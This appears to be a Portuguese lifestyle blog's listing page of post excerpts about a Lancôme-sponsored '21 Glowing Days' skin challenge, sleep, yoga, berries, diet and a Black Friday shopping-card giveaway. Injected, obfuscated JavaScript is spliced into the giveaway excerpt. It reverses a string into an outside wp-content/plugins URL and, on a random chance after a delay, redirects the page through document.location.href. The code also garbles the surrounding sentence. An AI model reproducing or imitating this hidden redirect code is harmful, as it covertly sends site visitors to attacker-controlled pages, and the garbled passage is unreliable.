FRUTOS SECOS | DAY 11 #21GLOWINGDAYS
FRUTOS VERMELHOS | DAY 9 #21GLOWINGDAYS
Sempre que tenho tempo para preparar o pequeno-almoço como gosto, junto umas quantas bagas goji. São desidratadas, por isso tenho-as sempre à mão no supermercado. Framboesas, mirtilos, morangos, prefiro comê-los frescos e sazonais.
YOGA | DAY 8 #21GLOWINGDAYS
Comecei a fazer yoga no final do ano passado, para relaxar. Mas rapidamente descobri que o yoga só em parte é relaxante. Há toda uma parte do yoga que é
ALIMENTOS ANTIOXIDANTES | DAY 7 #21GLOWINGDAYS
RESPIRAR FUNDO | DAY 4 #21GLOWINGDAYS
Se eu juntasse todas as vezes por dia que eu respiro fundo, eu teria umas duas horas de suspiros seguidos! Mas seriam acompanhados de rolleyes, o que não é muito relaxante… Agora a sério, quando eu tenho um dia stressante, nos minutos em que estou a ir buscar os miúdos à escola eu respiro fundo…
DORMIR | DAY 2 #21GLOWINGDAYS
Uma das minhas maiores lutas, por pura perrice. Eu nunca precisei de dormir muito, até tinha insónias quando era mais nova, simplesmente porque não me fazem falta as 8 horas apregoadas. Desde que tive filhos nunca mais tive insónias, mas nem por isso aproveitei o facto de eles dormirem muitíssimo bem para eu própria cuidar…
21 GLOWING DAYS
Recebi um desafio da Lancôme: testemunhar a acção do seu sérum Advanced Génifique, o sérum icónico da Lancôme destinado a todos os tipos e idades de pele, que precisam de recuperar luminosidade e juventude. Mesmo o que a minha pele pede! Eu aceitei de imediato, porque
BLACK FRIDAY NO DOLCE VITA TEJO | VENCEDORES
Já foram sorteados os vencedores dos Dolce Cards que oferecemos em parceria com o Dolce Vita Tejo! Vai ser uma óptima oportunidade para comprar aquelas peças que andam a namorar por um preço mais que especial! Aqui fica a lista mágica:
BLACK FRIDAY EM GRANDE COM O DOLCE VITA TEJO
Quer ganhar um de cinco cartões com €100,00 de compras no Dolce Vita Tejo? Veja aqui como ganhar e tenha uma Black Friday em grtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ande!
A MINHA DIETA | 5 COISAS QUE EU NÃO COMO E AS 5 QUE EU MAIS GOSTO DE COMER
Pensando na minha dieta alimentar (um paleo muuuuito mitigado) e nas alterações que vou constantemente introduzindo na minha alimentação, há certos alimentos que deixei de comer, ou evito ao máximo e outros em que aposto o mais possível.